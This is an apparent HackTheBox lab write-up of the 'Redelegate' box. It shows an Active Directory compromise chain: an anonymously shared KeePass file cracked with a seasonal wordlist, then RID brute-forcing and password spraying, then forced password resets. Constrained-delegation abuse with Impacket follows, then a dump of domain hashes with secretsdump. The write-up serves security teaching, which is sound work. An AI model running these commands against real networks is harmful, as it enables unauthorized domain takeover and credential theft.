HackTheBox: Redelegate
This box is rated hard difficulty on HTB. It involves us discovering a KeePass database file on an FTP server allowing anonymous logins. After cracking the password for that, we use MSSQL credentials to brute-force RIDs and spray passwords against the domain, granting us access to a user in the HelpDesk group. Enumerating ACLs discloses that we can change the password for a user in the IT department, who has SeEnableDelegationPrivilege. Finally, we perform a Constrained Delegation attack to dump hashes and escalate privileges to the domain administrator.
Host Scanning
As always, I begin with an Nmap scan against the target IP to find all running services on the host; Repeating the same for UDP returns the standard AD ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
$ sudo nmap -sCV 10.129.234.50 -oN fullscan-tcp
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-20 01:43 -0400
Nmap scan report for 10.129.234.50
Host is up (0.053s latency).
Not shown: 984 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24 01:11AM 434 CyberAudit.txt
| 10-20-24 05:14AM 2622 Shared.kdbx
|_10-20-24 01:26AM 580 TrainingAgenda.txt
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-20 05:44:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-04-20T05:44:18+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-20T05:43:56
|_Not valid after: 2056-04-20T05:43:56
| ms-sql-info:
| 10.129.234.50:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.234.50:1433:
| Target_Name: REDELEGATE
| NetBIOS_Domain_Name: REDELEGATE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: redelegate.vl
| DNS_Computer_Name: dc.redelegate.vl
| DNS_Tree_Name: redelegate.vl
|_ Product_Version: 10.0.20348
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-04-20T05:44:18+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: REDELEGATE
| NetBIOS_Domain_Name: REDELEGATE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: redelegate.vl
| DNS_Computer_Name: dc.redelegate.vl
| DNS_Tree_Name: redelegate.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-04-20T05:44:08+00:00
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Not valid before: 2026-04-19T05:41:38
|_Not valid after: 2026-10-19T05:41:38
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-20T05:44:09
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.68 seconds
Looks like a Windows machine with Active Directory components installed on it, more specifically a Domain Controller. Default scripts reveal a few interesting ports open, and for that reason I’ll initially focus on FTP, MSSQL, LDAP, and SMB to gather information on the domain. RDP is also leaking the FQDN of dc.redelegate.vl which I add to my /etc/hosts file to help with domain name resolution.
Service Enumeration
Quickly checking the web server on port 80 shows the standard Microsoft IIS landing page; My scans don’t find any other subdirectories, letting me safely rule out this attack vector for now.
It seems that Guest/Null authentication has also been disabled for SMB and RPC alike.
1
2
3
$ rpcclient dc.redelegate.vl -U ''
$ nxc smb dc.redelegate.vl -u 'Guest' -p '' --shares
FTP Server Anon Logins
Right away, we can see that the FTP server allows for anonymous logins. Inside are a couple text files containing audit and training documents, but along with them is a .kdbx (KeePass database) file. Be sure to change the transfer type to binary as to preserve the file’s contents.
After transferring them to our local machine, we can have a look inside. The Cyber Audit file discloses the organization’s findings for their cybersecurity posture, noting that only two of the four recommended remediation steps have been completed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat CyberAudit.txt
OCTOBER 2024 AUDIT FINDINGS
[!] CyberSecurity Audit findings:
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs
[*] Remediation steps:
1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS
This is good to know as we can begin targeting weak domain ACLs once we acquire valid credentials.
The second text file holds notes for a cybersecurity training agenda. This seems to show that not many people attended the session regarding weak passwords, indicating that password spraying with the format SeasonYear! could lead to an account compromise. Since this looks to have taken place in October 2024, we can surmise that a weak password will be akin to Fall2024! or Autumn2024!, depending on the organization’s origin.
1
2
3
4
5
6
7
8
9
10
11
12
13
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)
Friday 4th October | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one
Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?
Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password
Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them
KeePass Credentials
Lastly, there is a password protected KeePass database file. We can convert this into a crackable format using a tool like keepass2john in order to recover the contents. Letting that run against rockyou.txt doesn’t turn up any results within the first 10 minutes, so I decide to fabricate a custom wordlist following the training agenda’s format for weak passwords.
We can satisfy this step with a quick bash script:
1
2
3
4
5
6
7
$ for season in Spring Summer Fall Autumn Winter; do
for year in $(seq 1990 2026); do
for sym in '!' '@' '#' '$'; do
echo "${season}${year}${sym}"
done
done
done > passwords.txt
Now let’s crack it, Hashcat detects two possible modes, of which I start with the former.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
$ hashcat KeePassHash passwords.txt --user
hashcat (v7.1.2) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 7 7800X3D 8-Core Processor, 2930/5861 MB (1024 MB allocatable), 4MCU
The following 2 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
13400 | KeePass (KDBX v2/v3) | Password Manager
29700 | KeePass (KDBX v2/v3) - keyfile only | Password Manager
Please specify the hash-mode with -m [hash-mode].
Started: Mon Apr 20 02:28:12 2026
Stopped: Mon Apr 20 02:28:12 2026
----------------------------------------------------------------------------------------------------------------------------------------------------
$ hashcat KeePassHash passwords.txt --user -m 13400
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 7 7800X3D 8-Core Processor, 2930/5861 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 513 MB (4781 MB free)
Dictionary cache hit:
* Filename..: passwords.txt
* Passwords.: 1480
* Bytes.....: 17168
* Keyspace..: 1480
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca:[REDACTED]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass (KDBX v2/v3))
Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...4502ca
Time.Started.....: Mon Apr 20 02:27:26 2026 (15 secs)
Time.Estimated...: Mon Apr 20 02:27:41 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 33 H/s (12.25ms) @ Accel:61 Loops:1000 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 488/1480 (32.97%)
Rejected.........: 0/488 (0.00%)
Restore.Point....: 244/1480 (16.49%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-600000
Candidate.Engine.: Device Generator
Candidates.#01...: Summer2014! -> Autumn2000$
Hardware.Mon.#01.: Util: 97%
Started: Mon Apr 20 02:27:25 2026
Stopped: Mon Apr 20 02:27:42 2026
That recovers the plaintext variant with ease. I’ll use the keepass2 tool to view the database, which can be installed with sudo apt-get install keepass2 on Kali machines.
Exploitation
This gives us a few user credentials, however the web server did not have any login panels, leaving us with only the SQL server. Attempting to authenticate to it failed at first, but appending the --local-auth flag succeeds.
After connecting to the server with Impacket’s MSSQLclient.py script, we find that there are only the default Microsoft SQL Server databases in place. Luckily for us, the fact that we can authenticate at all to it opens up some doors.
I start by creating a new wordlist of account names by brute-forcing RIDs and stripping the domain prefix with an awk command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nxc mssql dc.redelegate.vl -u 'SQLGuest' -p '[REDACTED]' --local-auth --rid-brute > users.txt
$ awk -F'\\' '{print $2}' users.txt > usernames.txt
$ tail usernames.txt
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Helpdesk
IT
Finance
DnsAdmins
DnsUpdateProxy
Ryan.Cooper
sql_svc
Password Spraying
This now gives us a list of accounts to spray known passwords against, as well as test for any that are AS-REP Roastable. Beginning with the password spray using Netexec over SMB, I’m sure to use the --continue-on-success flag to keep trying once a successful attempt is made to be thorough.
1
$ nxc smb dc.redelegate.vl -u ./usernames.txt -p ./passwords.txt --continue-on-success
In an ideal situation, I would use pre-existing credentials to check the domain’s password policy, ensuring that we aren’t going to lock ourselves out here. Either way, this eventually gives us a valid login for Marie.Curie and we can begin enumerating where trust is established.
Mapping AD with BloodHound
Unfortunately, there aren’t any non-standard SMB shares that we can pillage, so I fire up BloodHound to map AD. I opt to use BloodHound-Python to collect the data since we don’t have shell access just yet.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ bloodhound-python -c all -d redelegate.vl -u 'marie.curie' -p 'Fall2024!' -ns 10.129.234.50
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: redelegate.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.redelegate.vl
INFO: Testing resolved hostname connectivity dead:beef::3d50:ebbf:a28b:280c
INFO: Trying LDAP connection to dead:beef::3d50:ebbf:a28b:280c
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.redelegate.vl
INFO: Testing resolved hostname connectivity dead:beef::3d50:ebbf:a28b:280c
INFO: Trying LDAP connection to dead:beef::3d50:ebbf:a28b:280c
INFO: Found 12 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer: dc.redelegate.vl
WARNING: SID S-1-5-21-3745110700-3336928118-3915974013-1109 lookup failed, return status: STATUS_NONE_MAPPED
INFO: Done in 00M 12S
Checking Marie.Curie’s Outbound Object Control reveals that she is apart of the helpdesk group. This means that we have the ForceChangePassword right over six other domain accounts.
Exploit Chain
Following this pattern of outbound object control and enumerating domain ACLs reveals that we can effectively change the password for Helen.Frost’s account, who has GenericAll permissions over the FS01$ account.
This means that once we have assumed control of Helen’s account, we can perform a Resource-Based Constraint Delegation attack in order to escalate our privileges.
If you’re unfamiliar with this vector - Resource-Based Constrained Delegation (RBCD) is a Kerberos feature where a target resource (like a server) defines which principals are allowed to impersonate users to it, via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If an attacker can modify that attribute, they can add a controlled account and then use Kerberos (S4U2Self + S4U2Proxy) to impersonate any user-including admins-to that service. This effectively gives them code execution or access as that user on the target system.
Being able to write SPNs (Service Principal Names) can lead to domain compromise because it enables attacks like Kerberoasting and targeted delegation abuse. An attacker can register an SPN on an account they control or modify, request a service ticket for it, and extract a crackable hash of the account’s password; if that account is highly privileged, cracking it can lead to full domain takeover. This portion is relevant as we have GenericAll over the FS01$ machine account and can therefore write its SPN.
Privilege Escalation
Getting started, we first need to change Helen.Frost’s password. I carry out this step using RPCClient because it’s what I’m used to, however there are plenty of options out there.
1
2
3
4
$ rpcclient dc.redelegate.vl -U 'marie.curie'
Password for [WORKGROUP\marie.curie]:
rpcclient $> setuserinfo2 Helen.Frost 23 Password123!
rpcclient $> quit
Confirming that the password change succeeded also reveals that she is apart of the Remote Management group, allowing us to grab a shell on the box via WinRM.
Finding SeEnableDelegationPrivilege
At this point we can grab the user flag and internal enumeration. Contrarily to what I thought before, it seems like FS01$ isn’t a real machine we can access in order to perform RBCD against, plus we aren’t allowed to add computer accounts or DNS records in order to carry out an unconstrained delegation attack either.
I do find that Helen has SeEnableDelegationPrivilege on the domain, meaning that we possibly execute a Constrained Delegation attack.
In case this is getting a bit confusing, allow me to explain the different types of delegation in Active Directory.
- Unconstrained delegation: Allows a service to impersonate a user to any service once the user authenticates to it, by storing the user’s TGT in memory. It’s highly permissive and dangerous because compromise of the service effectively exposes all delegated user credentials.
- Constrained delegation: Restricts impersonation to specific services defined in the
msDS-AllowedToDelegateToattribute. This limits blast radius, but if the service is compromised, an attacker can still act as users to those predefined services. - Resource-Based Constrained Delegation (RBCD): Shifts control to the target service, which specifies which accounts are allowed to delegate to it via
msDS-AllowedToActOnBehalfOfOtherIdentity. This makes it easier to abuse in practice since control over the target object’s ACLs (e.g., GenericWrite) can be enough to set up delegation abuse.
Constrained Delegation
We will be exploiting Constrained Delegation by abusing our SeEnableDelegationPrivilege on the domain as well as GenericAll permissions over FS01$. First, I configure the machine account to act as the LDAP service on the Domain Controller within my WinRM session.
1
2
3
*Evil-WinRM* > Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
*Evil-WinRM* > Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.rede
legate.vl"}
And then change its password over RPC, similar to Helen’s account earlier.
1
2
3
4
$ rpcclient dc.redelegate.vl -U 'Helen.Frost'
Password for [WORKGROUP\Helen.Frost]:
rpcclient $> setuserinfo2 'FS01$' 23 Password123!
rpcclient $> quit
Now, we can request a service ticket for the LDAP service using Impacket’s getST.py script, while impersonating the DC.
1
2
3
4
5
6
7
8
9
$ impacket-getST 'redelegate.vl/FS01$:Password123!' -spn ldap/dc.redelegate.vl -impersonate dc
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache
Dumping Hashes
That will save a ticket, in which we can use to authenticate to the LDAP service on the Domain Controller. In my case, I use Impacket’s secretsdump.py script to dump all domain hashes. Be sure to export the service ticket as the KRB5CCNAME variable beforehand or declare it in-line.
1
2
3
$ export KRB5CCNAME=dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache
$ impacket-secretsdump -k -no-pass dc.redelegate.vl
Finally, we can utilize the administrator’s NTLM in a Pass-The-Hash attack over the service of our choosing to get a shell on the box. Grabbing the root flag under their Desktop folder will complete this challenge.
That’s all y’all, this box was surprisingly fun and had us perform a mix of Active Directory and regular Windows exploitation. I hope this was helpful to anyone following along or stuck and happy hacking!












